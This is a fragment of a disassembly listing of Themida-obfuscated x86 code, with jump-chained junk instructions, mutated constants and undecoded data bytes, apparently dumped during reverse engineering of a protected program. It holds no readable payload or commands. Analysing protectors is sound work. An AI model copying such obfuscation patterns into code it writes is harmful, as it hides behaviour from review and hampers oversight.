		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EFA:				; CODE XREF: Themida_:0055BB14j
		shr	edx, 4
		or	edx, 469E08D6h
		neg	edx
		jmp	loc_560F25
; ---------------------------------------------------------------------------
		dw 5753h
		dd 0FF0196E9h, 241C89FFh, 5EE976B3h, 83000021h,	0C78104C4h
		dd 2D35466Eh, 6E8CC781h, 3A05E05Fh, 0E92C3647h,	0FFFFDBA3h
		dd 0E3F9E957h, 0BF57FFFEh, 4, 685FF801h, 13BBh,	0BD242C89h
		dd 4FB67FDDh, 0DDF7EDD1h, 0FF1CD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568F59:				; CODE XREF: Themida_:00557694j
		mov	edi, [esp]
		jmp	loc_55E6D8
; ---------------------------------------------------------------------------


loc_568F61:				; CODE XREF: Themida_:00563F91j
		push	50216B6Dh
		pop	esi
		sub	esi, 5612724Ah
		xor	esi, 0F1649BFBh
		mov	ecx, esi
		jmp	loc_561E33
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 6FFD3A95h, 0FF29CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568F85:				; CODE XREF: Themida_:00558F66j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CBE1
; ---------------------------------------------------------------------------
		dw 93B7h
		dd 0FF33C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568FA1:				; CODE XREF: Themida_:0056ACAAj
		add	ecx, 4
		jmp	loc_5632A7
; ---------------------------------------------------------------------------


loc_568FAC:				; CODE XREF: Themida_:00559139j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55AC97
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 41E9240Ch, 0BAFFFF61h, 71086C84h, 82E9D089h,	81FFFFB2h
		dd 4C4h, 1C470900h, 0FFE199E9h,	0C9C681FFh, 5A60DB3Ah
		dd 4F592305h, 2DF0293Eh, 3E4F5923h, 8124348Bh, 4C4h, 1E46800h
		dd 3C890000h, 3786BF24h, 0EFC1546Ah, 68555002h,	293A008Fh
		dd 0B168565Dh, 0E9623136h, 0FFFF4401h, 3D6A6852h, 1C890000h
		dd 1987E924h, 0AAB80000h, 8940FD67h, 0F02958C6h, 5352515Eh
		dd 0BC2EA2BBh, 45EFBA4Dh, 0DA3157EEh, 81DAF75Bh, 9547BFF2h
		dd 0F2814202h, 7B275BCh, 8374F281h, 0D189BED7h,	8124148Bh
		dd 4C4h, 0D53DE900h, 4BAFFFFh, 1000000h, 4335AD0h, 24043124h
		dd 5C240433h, 0D931CB31h, 0FEDFC7E9h, 48B66FFh,	0E0895024h
		dd 94468h, 24348900h, 0B07125BEh, 5E6C163h, 758068h, 24048900h
		dd 0FFB9E3E9h, 8001B6FFh, 0F500A4EDh, 5AA4C580h, 5250D5F6h
		dd 0FF7D95E9h, 0E9C681FFh, 0C1133866h, 0C68102EEh, 0F3FD51C7h
		dd 70FBC281h, 0EA810E67h, 36F02665h, 0FEFA2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5690DD:				; CODE XREF: Themida_:00560578j
		mov	edx, [esp]
		jmp	loc_569322
; ---------------------------------------------------------------------------
		db 1, 0C1h, 8Bh
		dd 0C4812404h, 4, 0E959CF01h, 0FFFF8116h, 5F54575Bh, 0FF5108E9h
		dd 5DC1BBFFh, 4DE97796h, 53000016h, 5B2414F7h, 0EB814343h
		dd 0A7CE781Bh, 0FEDF84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56911D:				; CODE XREF: Themida_:005699EAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		xor	bl, 53h
		push	ebx
		not	byte ptr [esp]
		pop	ebx
		add	bl, 24h
		sub	dh, bl
		pop	ebx
		jmp	loc_5663B5
; ---------------------------------------------------------------------------
		dd 48B515Dh, 701CE924h,	0C8BFFFFh, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 4EC8159h, 89000000h, 0BAE92404h
		dd 58FFFF42h, 2E3AE952h, 1C8BFFFFh, 4C48124h, 51000000h
		dd 0FF67D6E9h, 243C87FFh, 8924248Bh, 0E1BE2434h, 536F145Ch
		dd 0FF583CE9h, 81D1F7FFh, 0FB6A9CF1h, 0AE98151h, 1EEFCB1h
		dd 48759C8h, 24248B24h,	8904EC83h, 0BB53243Ch, 2, 0E851E953h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5691C2:				; CODE XREF: Themida_:005638A7j
		push	esp
		mov	edx, [esp]
		jmp	loc_55D14F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4EC81DEh, 89000000h,	0A5E9240Ch, 50FFFF0Ch, 0FF94D2E9h
		dd 0B7EF81FFh, 0E939F61Dh, 0FFFFA64Fh, 88F78853h, 0C8885BF9h
		dd 0DDFCE959h, 8B66FFFEh, 0CEE92404h, 68FFFFC6h, 1D65h
		dd 0BA241489h, 4, 875AD001h, 248B2404h,	4C18124h, 57000000h
		dd 2E846852h, 148B3D28h, 4C48324h, 10E7C281h, 76E96CABh
		dd 8BFFFF79h, 0C483243Ch, 9A685204h, 89000036h,	2C68241Ch
		dd 5B0F980Ch, 8106EBC1h, 4747B8CBh, 8E3C13Bh, 0D3F7DBF7h
		dd 0E5F38143h, 0E92BA48Bh, 0FFFF293Bh, 34FFF301h, 9117E924h
		dd 0C581FFFFh, 4E247C9Eh, 0ED81CD29h, 4E247C9Eh, 5C22B850h
		dd 0E0C178A6h, 4E0C107h, 0BFDCE940h, 3C28FFFFh,	8648E924h
		dd 5052FFFFh, 311EB8B8h, 0E8C14843h, 3F1C2505h,	63055ADAh
		dd 8933BE93h, 0D10158C2h, 0E0EB815Ah, 29592560h, 0E0C381CBh
		dd 0E9592560h, 0FFFF89CCh, 4C481h, 0C9810000h, 62B20B14h
		dd 0FFB47CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5692D9:				; CODE XREF: Themida_:00565E01j
		sub	esi, ebx
		pop	ebx
		xor	esi, 163E7760h
		push	45EBh
		mov	[esp], eax
		mov	eax, 0EC9A384Eh
		jmp	loc_56535C
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0E930FF66h, 0FFFEFE2Eh
; ---------------------------------------------------------------------------


loc_569300:				; CODE XREF: Themida_:00565D27j
		push	esp
		mov	eax, [esp]
		jmp	loc_569EA4
; ---------------------------------------------------------------------------
		db 0B2h, 0AEh, 0E9h
		dd 0FFFEE402h, 148BD129h, 4C48324h, 159CB29h, 5781E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569322:				; CODE XREF: Themida_:005690E0j
		add	esp, 4
		jmp	loc_55661D
; ---------------------------------------------------------------------------
		dw 0F229h
		dd 58EA815Eh, 8162F379h, 8731BAC2h, 81FA0143h, 8731BAEAh
		dd 5E30E943h, 535FFFFFh, 42474FFh, 24048F5Bh, 240C895Ch
		dd 42474FFh, 83240C8Bh,	9CE904C4h, 0B8FFFF3Dh, 4, 8758C729h
		dd 6E9243Ch
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569373:				; CODE XREF: Themida_:00558AEDj
		add	ch, dh
		pop	edx
		jmp	loc_559276
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 68E9h, 2474FF00h, 48F5804h, 0BE565C24h
		dd 68A76C91h, 0E946DEF7h, 0FFFF1957h, 95C2814Ah, 31C5E63Bh
		dd 0F8315AD7h, 81243C8Bh, 4C4h,	0B5B95100h, 50333262h
		dd 0D51C19B8h, 0A105483Ah, 911A5A38h, 5150D9F7h, 0FF2612E9h
		dd 83EE81FFh, 0E9084544h, 0FFFF1601h
; ---------------------------------------------------------------------------


loc_5693DC:				; CODE XREF: Themida_:0056AC48j
		shr	eax, 4
		jmp	loc_558D81
; ---------------------------------------------------------------------------
		dd 6236C381h, 0DE894461h, 0FFBC61E9h, 0E9D028FFh, 0FFFEEEA6h
		dd 0C2815A54h, 4, 4BF57h, 0EA810000h, 5A857142h, 0C281FA01h
		dd 5A857142h, 5F2434FFh, 3304C483h, 14312414h, 24143324h
		dd 0FEF1ABE9h, 0E28952FFh, 4C281h, 0EA810000h, 4, 8B241487h
		dd 4E92424h, 59FFFFECh,	0F7E9D829h, 80000016h, 885162F7h
		dd 59EE88FDh, 0FED6E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569459:				; CODE XREF: Themida_:00564446j
		xor	eax, 0F4E4E9CBh
		push	eax
		xor	dword ptr [esp], 29BC7FF8h
		pop	ebp
		jmp	loc_56521B
; ---------------------------------------------------------------------------
		dd 18E9E289h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_569473:				; CODE XREF: Themida_:00557BB9j
		sub	edx, 1
		and	edx, 4A90204Eh
		push	eax
		push	ebp
		mov	ebp, 2652257Eh
		jmp	loc_55CCA5
; ---------------------------------------------------------------------------
		dd 174557B9h, 0E9CB2913h, 0FFFFFCB6h, 4C481h, 0C9E90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56949F:				; CODE XREF: Themida_:00564921j
		mov	esi, 779E42C8h
		add	eax, 2D4B5DC3h
		sub	eax, esi
		sub	eax, 2D4B5DC3h
		pop	esi
		mov	ebx, [esp]
		push	2CEDh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, edi
		push	28AFh
		mov	[esp], ecx
		push	edi
		push	5E6C6703h
		pop	edi
		mov	ecx, 5E6C6703h
		xor	ecx, edi
		pop	edi
		jmp	loc_5564F1
; ---------------------------------------------------------------------------
		dd 2852B951h, 26E91D81h, 66FFFFD9h, 81241C8Bh, 2C4h, 0F1ACE900h
		dd 348BFFFFh, 4C48124h,	0E9000000h, 0FFFF5724h,	1769B850h
		dd 0D6E94214h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56951F:				; CODE XREF: Themida_:00567E47j
		pop	esp
		push	esi
		push	2D6Ah
		mov	[esp], edi
		jmp	loc_556AC8
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0E9000000h, 0FFFECD5Eh
; ---------------------------------------------------------------------------


loc_56953C:				; CODE XREF: Themida_:0055C32Bj
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dd 0CE9CE89h
		db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_569553:				; CODE XREF: Themida_:0056078Fj
		sub	al, cl
		sub	al, 58h
		add	al, 4Ch
		push	cx
		mov	ch, 2Fh
		sub	al, ch
		pop	cx
		push	6118h
		mov	[esp], ecx
		mov	cl, 0C6h
		sub	cl, 66h
		add	al, 60h
		sub	al, cl
		sub	al, 60h
		mov	ecx, [esp]
		add	esp, 4
		pop	cx
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		mov	bl, 56h
		not	bl
		sub	bl, 43h
		push	ecx
		jmp	loc_569838
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 8BBB5304h, 0F760A559h, 0EB8143D3h, 2F760411h
		dd 0FFB37DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5695B1:				; CODE XREF: Themida_:0055FF17j
		push	ecx
		push	475Ch
		mov	[esp], edi
		jmp	loc_56495A
; ---------------------------------------------------------------------------
		db 0BBh
		dd 16322A8Ch, 0FFFFC381h, 0EBC1FFFFh, 14C0E906h, 0E95FFFFFh
		dd 0FFFF56C3h
; ---------------------------------------------------------------------------


loc_5695D8:				; CODE XREF: Themida_:005637E7j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	eax, 61CB0AD6h
		jmp	loc_55722B
; ---------------------------------------------------------------------------


loc_5695EC:				; CODE XREF: Themida_:0055CDE9j
		add	edx, 131F25C0h
		xor	ecx, edx
		pop	edx
		add	ecx, 27E51562h
		jmp	loc_55B578
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFEC6BCh, 8102EAC1h, 372C8EAh,	5AD601A0h
		dd 0E9F78957h, 0FFFED7B8h, 81240C89h, 4ECh, 24248900h
		dd 0FF68AFE9h, 24048BFFh, 1C8B5453h, 0F3A3E924h, 0C181FFFEh
		dd 4, 8704C183h, 885C240Ch, 6C8858C5h, 0C8B0187h, 0E0895024h
		dd 405h, 4C08300h, 0E9240487h, 0FFFF0B65h, 0E9241C89h
		dd 16D8h, 4EF81h, 0D9E90000h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569677:				; CODE XREF: Themida_:00556F16j
		pop	eax
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	88837F1h
		pop	ebx
		and	ebx, 5FFE3345h
		dec	ebx
		sub	ebx, 0C250129h
		xor	ebx, 7C661F36h
		jmp	loc_562853
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FEFDA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5696A9:				; CODE XREF: Themida_:00565945j
		not	ebp
		add	ebp, 1
		jmp	loc_5665C7
; ---------------------------------------------------------------------------
		db 81h
		dd 303D4FEBh, 5BD801FEh, 0EC81D801h, 4,	89242C89h, 4C581E5h
		dd 53000000h, 4BBh, 50ED8100h, 29542F00h, 50C581DDh, 0E9542F00h
		dd 0FFFF650Bh, 0C381E389h, 4, 0DC3BA52h, 0BF575E55h, 5E550DBFh
		dd 555FFA29h, 36394BDh,	0D6C5815Ch, 81002010h, 0EDC25BC5h
		dd 7D54E917h, 0C981FFFFh, 122935E1h, 0FE9DE953h, 814BFFFFh
		dd 3E39D6E3h, 158F6803h, 34890000h, 2A45BE24h, 8AE920E0h
		dd 81FFFEF1h, 4ECh, 48F5400h, 30E95524h, 52FFFF81h, 0C2815A54h
		dd 4, 5204C283h, 42474FFh, 24048F5Ah, 1B50685Ch, 14890000h
		dd 4EC8324h, 68242489h,	73AEh, 51241C89h, 4A02ABB9h, 59C1815Eh
		dd 51A1B5FDh, 5C01595Bh, 0FF5B0424h, 148B2434h,	7A82E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569796:				; CODE XREF: Themida_:00566D23j
		mov	al, 0E1h
		jmp	loc_567FEF
; ---------------------------------------------------------------------------
a11s11sh8u	db '1È1è1Å1èh8U',0
		align 2
		dw 0E5E9h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5697AF:				; CODE XREF: Themida_:00556EC8j
		mov	edi, 11410D6Eh
		shl	edi, 7
		sub	edi, 49BA4B48h
		shl	edi, 3
		xor	edi, 4FF64FE0h
		shr	edi, 8
		add	edi, 2EC75DBh
		xor	ebp, edi
		jmp	loc_559D14
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 2158EA81h, 0EA810C45h, 77DF3C7Dh, 52536853h,	815B54E9h
		dd 550EC2E3h, 68969305h, 33A2h,	0F7243489h, 348B2414h
		dd 4C48324h, 0BA529396h, 0F0C0C41h, 815AD301h, 5F25C8C2h
		dd 81DA297Eh, 5F25C8EAh, 241C8B7Eh, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 0E95C240Ch, 0FFFEC48Ch
; ---------------------------------------------------------------------------


loc_569838:				; CODE XREF: Themida_:00569592j
		mov	cl, bl
		mov	ah, cl
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	12C1h
		mov	[esp], ecx
		mov	cl, 10h
		mov	ah, 7Fh
		sub	ah, 0AFh
		xchg	ch, ah
		dec	ch
		jmp	loc_565BF7
; ---------------------------------------------------------------------------
		dd 8105EBC1h, 0E15A58EBh, 2F22E955h, 5525FFFFh,	4855AD59h
		dd 25595035h, 0E9C22950h, 0FFFF9A21h, 42474FFh,	0D20BE95Dh
		dd 5868FFFEh, 89000072h, 0DCE9240Ch
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569893:				; CODE XREF: Themida_:0055E25Ej
		inc	ebp
		shr	ebp, 6
		push	eax
		jmp	loc_55ABA4
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0E4h
		dd 0E9129B03h, 0FFFFC000h, 0DB65266h, 5A66F000h, 0B353B72Ch
		dd 0D92E9FBh, 0BA520000h, 7F062EC7h, 0D13DC281h, 0D30180F9h
		dd 4EC815Ah, 89000000h,	0E0892404h, 405h, 42D00h, 4870000h
		dd 24248B24h, 0E9242C89h, 0FFFF09F8h
; ---------------------------------------------------------------------------


loc_5698EC:				; CODE XREF: Themida_:00556CD2j
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		mov	edx, eax
		jmp	loc_55DAC5
; ---------------------------------------------------------------------------


loc_5698FD:				; CODE XREF: Themida_:0055A046j
		push	edx
		jmp	loc_5607A4
; ---------------------------------------------------------------------------
		db 89h
		dd 70E92434h, 81FFFFA1h, 1C745AC7h, 1A5CE942h, 8147FFFFh
		dd 0DF4FDEE7h, 6FC78157h, 5128E124h, 8904EC83h,	9DBA2414h
		dd 0E9248C1Bh, 0FFFFB543h
; ---------------------------------------------------------------------------


loc_569934:				; CODE XREF: Themida_:00556313j
		sub	dword ptr [esp+4], 54D75CFDh
		sub	[esp+4], edx
		add	dword ptr [esp+4], 54D75CFDh
		pop	edx
		pop	eax
		jmp	loc_566010
; ---------------------------------------------------------------------------


loc_56994F:				; CODE XREF: Themida_:00559A7Fj
		push	22E7h
		mov	[esp], edi
		push	esi
		jmp	loc_559727
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8904EC83h, 5B54241Ch, 4C381h, 0E9560000h, 0FFFF1DFBh
		dd 4C48158h, 83000000h,	1C8904ECh, 685B5424h, 7C5Bh, 68241489h
		dd 3578h, 0FEF460E9h, 0FFE956FFh, 8FFFFFE3h, 248B2404h
		dd 0FC00924h, 0FFD2F584h, 0A8E951FFh
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5699AF:				; CODE XREF: Themida_:0055AE10j
		shl	esi, 4
		not	esi
		add	esi, 9B0FE9B2h
		push	eax
		mov	eax, esi
		mov	ecx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560CD8
; ---------------------------------------------------------------------------
		dw 3359h
		dd 54E92404h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5699D7:				; CODE XREF: Themida_:0056ABE5j
		sub	esp, 4
		jmp	loc_55ED43
; ---------------------------------------------------------------------------


loc_5699E2:				; CODE XREF: Themida_:00563499j
		mov	esi, esp
		add	esi, 4
		jmp	loc_56911D
; ---------------------------------------------------------------------------
		db 83h
		dd 545504C4h, 468515Dh,	59000000h, 0A4BF5751h, 0E91C1233h
		dd 0FFFF263Ah, 83241C8Bh, 34FF04C4h, 24048B24h,	0FFB872E9h
		dd 0F9E95BFFh
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A1F:				; CODE XREF: Themida_:0055F8B1j
		shl	ecx, 4
		push	edi
		mov	edi, 73E711B6h
		and	edi, 7732F48h
		add	edi, 132954D3h
		sub	edi, 925313Ch
		dec	edi
		sub	edi, 47A664FAh
		xor	ecx, edi
		pop	edi
		sub	eax, ecx
		jmp	loc_56819E
; ---------------------------------------------------------------------------
		db 40h
		dd 302DE0D1h, 3136C7A0h, 2C6858C6h, 8900000Fh, 0B8502414h
		dd 72887D93h, 0FEFB2DE9h, 58C721FFh, 19B95147h,	0E93EFC26h
		dd 0FFFF2B10h, 481DE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A7E:				; CODE XREF: Themida_:00569E71j
		push	ecx
		jmp	loc_559CD6
; ---------------------------------------------------------------------------


loc_569A84:				; CODE XREF: Themida_:0055C2D5j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0FFFCA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569A99:				; CODE XREF: Themida_:0055755Aj
		pop	edx
		shr	esi, 8
		jmp	loc_5653B8
; ---------------------------------------------------------------------------


loc_569AA2:				; CODE XREF: Themida_:00556EE8j
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566E07
; ---------------------------------------------------------------------------


loc_569AB7:				; CODE XREF: Themida_:005598AEj
		sub	ebx, ecx
		pop	ecx
		add	ebp, 754C0D14h
		sub	ebp, ebx
		sub	ebp, 754C0D14h
		jmp	loc_56104F
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4C78100h, 57000000h, 42474FFh,	4357E95Fh, 0F781FFFFh
		dd 2A56549h, 315FFB89h,	0C4E95AD3h, 29FFFF18h, 0CB21E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569AFE:				; CODE XREF: Themida_:005671C2j
		cmp	ecx, eax
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_569B06:				; CODE XREF: Themida_:0055F4A7j
		mov	ebx, 3023102Fh
		xor	eax, ebx
		jmp	loc_56AD56
; ---------------------------------------------------------------------------
		dw 0EF89h
		dd 0D1D7E95Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_569B1A:				; CODE XREF: Themida_:00565786j
		xor	esi, [esp]
		jmp	loc_566B6E
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 53B95100h, 0E971032Ah,	0FFFF813Fh, 26BBCE81h
		dd 0EEC15A23h, 0E9DEF703h, 0FFFFAB75h, 405h, 0E95200h
		dd 68FFFFCBh, 18E9h, 52240489h,	4BAh, 61E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569B62:				; CODE XREF: Themida_:00562D69j
		pop	esp
		jmp	loc_55EA0C
; ---------------------------------------------------------------------------
		dd 0C105E9C1h, 0AE6808E9h, 89000047h, 5ABE2434h, 111E720h
		dd 0E570E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B82:				; CODE XREF: Themida_:0055AF71j
		mov	ebp, 1
		jmp	loc_56063F
; ---------------------------------------------------------------------------
		dd 47B9BB53h, 0CB81024Eh, 0E427979h, 72E6EB81h,	0EB81707Ch
		dd 1C561D0Fh, 6760BD55h, 52E98EEBh, 66FFFF28h, 81240C8Bh
		dd 4ECh, 24348900h, 0E0E9E689h,	52FFFED0h, 4D75E958h, 268FFFFh
		dd 8B000000h, 0C4812414h, 4, 0FF63E0E9h, 2434FFFFh, 8B2434FFh
		dd 0C4832404h, 4C48104h, 56000000h, 4887E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569BF6:				; CODE XREF: Themida_:0056312Fj
		xor	eax, 14413FB0h
		sub	eax, 0FABABBD6h
		add	edx, eax
		jmp	loc_557E5A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E6F1C281h, 0FDE9FCB2h, 81FFFED3h, 4ECh, 240C8900h
		dd 0C181E189h, 4, 4C181h, 0EC830000h, 240C8904h, 42474FFh
		dd 24048F59h, 4BE565Ch,	5000000h, 745E5B02h, 22DF001h
		dd 8B745E5Bh, 0C4832434h, 1059E904h, 0F5010000h, 3231C581h
		dd 0D1E90D51h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C63:				; CODE XREF: Themida_:005651DFj
		sub	eax, 1CD06384h
		inc	eax
		sub	eax, 362302FFh
		push	edi
		mov	edi, 821C01FAh
		xor	eax, edi
		pop	edi
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55692E
; ---------------------------------------------------------------------------
		dd 0E00DE947h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_569C8A:				; CODE XREF: Themida_:0055ED3Ej
		push	edx
		jmp	loc_55A69D
; ---------------------------------------------------------------------------


loc_569C90:				; CODE XREF: Themida_:00568D8Ej
		sub	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		jmp	loc_556116
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 84682404h, 0E9000048h, 0FFFFFC3Bh
; ---------------------------------------------------------------------------


loc_569CC8:				; CODE XREF: Themida_:0055C89Ej
		push	eax
		jmp	loc_56AB4F
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E654E924h, 0E95DFFFEh, 0FFFFF9D7h, 4F01C783h, 0F708EFC1h
		dd 27C781DFh, 89000F83h, 0E9295FFDh, 240C875Dh,	0E924248Bh
		dd 0FFFF43A8h, 405h, 0E0895000h, 405h, 4E88300h, 0E9240487h
		dd 0FFFF5BA2h
; ---------------------------------------------------------------------------


loc_569D14:				; CODE XREF: Themida_:0055B7F7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_569D1F:				; CODE XREF: Themida_:0055A433j
		sub	eax, 736D6EE8h
		sub	eax, ecx
		push	eax
		mov	eax, esp
		jmp	loc_56455A
; ---------------------------------------------------------------------------
		dw 6856h
		dd 6DF9h, 0BA241489h, 0D927C91h, 0FF1927E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569D41:				; CODE XREF: Themida_:0055C14Aj
		mov	ecx, 453714E2h
		not	ecx
		xor	ecx, 0E72EDD27h
		add	esi, ecx
		pop	ecx
		add	esi, edi
		sub	esi, 5DE6363Ah
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55A499
; ---------------------------------------------------------------------------


loc_569D68:				; CODE XREF: Themida_:0055668Dj
		mov	[esp], ebp
		mov	ebp, 53D64A69h
		sub	edi, 155C6B83h
		sub	edi, ebp
		add	edi, 155C6B83h
		jmp	loc_55D524
; ---------------------------------------------------------------------------
		db 81h
		dd 0B92993C6h, 2434FF15h, 4C4835Fh, 0FFE38CE9h,	0EDE951FFh
		dd 89FFFFF6h, 5B54241Ch, 3F21BF57h, 0EF814599h,	7B0C6761h
		dd 0FF90B7E9h, 2C483FFh, 2835EA80h, 24148BD0h, 0FECE62E9h
		dd 81D2F7FFh, 0A42FC2E2h, 0A3E2816Ah, 814D9772h, 0D65D9BF2h
		dd 66F28122h, 0E9E14403h, 0FFFEDBB3h, 0A7EA805Bh, 0C05AD708h
		dd 0C78003EFh, 11EA80A0h, 0C280FA00h, 0D0005B11h, 0E9C3305Ah
		dd 0FFFF0FE1h
; ---------------------------------------------------------------------------


loc_569E00:				; CODE XREF: Themida_:00561DCAj
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		pop	dx
		push	dx
		mov	dl, 2Ah
		add	al, 87h
		jmp	loc_5677CB
; ---------------------------------------------------------------------------


loc_569E1A:				; CODE XREF: Themida_:00565A6Aj
		sub	eax, 625929DAh
		add	eax, 131592Eh
		push	dword ptr [eax]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_565808
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 0FF2591E9h, 24C368FFh, 0E95F26A0h, 0FFFEC5FCh
; ---------------------------------------------------------------------------


loc_569E54:				; CODE XREF: Themida_:0055771Fj
		push	ecx
		jmp	loc_5611B7
; ---------------------------------------------------------------------------


loc_569E5A:				; CODE XREF: Themida_:00560C75j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_569A7E
; ---------------------------------------------------------------------------


loc_569E76:				; CODE XREF: Themida_:00566066j
		neg	ebx
		inc	ebx
		xor	ebx, 40DF0569h
		sub	eax, ebx
		pop	ebx
		xor	eax, 2B8C4A6Eh
		push	2553h
		mov	[esp], ebp
		mov	ebp, 6949763Eh
		xor	eax, ebp
		jmp	loc_55AA21
; ---------------------------------------------------------------------------
		db 31h
		dd 0E9555EF5h, 0FFFFE827h
; ---------------------------------------------------------------------------


loc_569EA4:				; CODE XREF: Themida_:00569304j
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_55B645
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 0D760E95Ch, 0E958FFFFh, 0FFFFFE38h, 4BBh
		dd 0BB535300h, 0A8A5D95h, 4245C29h, 2434FF5Bh, 5A2434FFh
		dd 4C481h, 0C4810000h, 4, 0A746E957h, 0C31FFFFh, 240C3324h
		dd 6624248Bh, 5324148Bh, 5251E389h, 74ED6851h, 81596C92h
		dd 0C56F28E1h, 93E5E916h, 3431FFFFh, 24343324h,	0D324248Bh
		dd 0E99C2424h, 0FFFEBDA0h
; ---------------------------------------------------------------------------


loc_569F24:				; CODE XREF: Themida_:0055CD59j
		mov	bx, [esp]
		push	esi
		jmp	loc_56497D
; ---------------------------------------------------------------------------
		dw 9E2Ch
		dd 0F4E9E828h, 83FFFEFFh, 3C8904ECh, 3D266824h,	0F75F63F8h
		dd 70BA52D7h, 31857097h, 0E923E9D7h, 433FFFEh, 24043124h
		dd 8B240433h, 61E92424h
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_569F63:				; CODE XREF: Themida_:00568B07j
		pop	esp
		div	ecx
		push	ebx
		push	449Bh
		mov	[esp], esp
		jmp	loc_559096
; ---------------------------------------------------------------------------
